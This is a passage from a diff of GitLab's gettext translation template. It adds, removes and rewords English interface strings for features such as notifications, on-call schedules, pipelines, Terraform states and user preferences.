+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17806,6 +18214,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18031,7 +18442,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18184,6 +18595,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18289,9 +18703,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18475,9 +18886,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18514,6 +18922,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18532,6 +18943,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18544,6 +18958,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18583,6 +19000,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18619,9 +19039,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18637,6 +19063,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18646,6 +19075,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18772,6 +19204,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18787,9 +19246,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18814,9 +19270,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18829,6 +19282,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18838,7 +19297,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18862,9 +19321,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18946,6 +19402,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19012,9 +19471,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19060,6 +19516,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19216,6 +19675,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19330,6 +19792,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19354,9 +19819,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19621,6 +20083,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19729,9 +20194,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19777,6 +20239,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19789,6 +20254,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19798,6 +20266,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20023,6 +20497,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20032,9 +20509,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20197,18 +20671,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20218,9 +20686,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20242,9 +20707,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20299,6 +20761,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20428,6 +20893,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20437,6 +20920,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20467,6 +20953,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20824,9 +21313,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21079,7 +21565,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21121,6 +21610,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21181,9 +21673,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21205,6 +21694,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21274,6 +21769,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21655,6 +22153,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21970,6 +22471,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22123,6 +22627,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22207,9 +22714,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22285,6 +22789,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22312,9 +22819,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22519,9 +23023,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22537,15 +23038,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22624,6 +23122,15 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22657,6 +23164,12 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22708,6 +23221,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22738,12 +23254,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22771,6 +23293,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22804,10 +23329,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22927,12 +23452,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23059,6 +23590,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23098,6 +23632,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23119,6 +23656,9 @@ msgstr[2] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23188,6 +23728,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23251,12 +23794,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23284,9 +23821,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23389,12 +23923,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23413,7 +23941,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23470,15 +23998,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23581,6 +24103,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23620,9 +24145,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23713,6 +24235,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23899,6 +24424,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24064,6 +24592,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24181,9 +24715,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24526,12 +25057,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24574,21 +25099,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24607,6 +25141,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24703,9 +25240,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24760,13 +25294,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24796,6 +25333,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24892,10 +25432,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24946,6 +25489,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25057,9 +25603,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25105,7 +25648,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25186,10 +25729,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25471,10 +26017,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25498,6 +26044,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25615,9 +26164,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25777,6 +26323,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25945,6 +26503,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25954,6 +26515,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26002,6 +26566,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26176,6 +26743,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26344,9 +26914,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26386,6 +26953,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26398,24 +26968,48 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26437,6 +27031,12 @@ msgstr[2] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26464,6 +27064,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26494,6 +27097,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26590,9 +27196,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26602,10 +27205,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
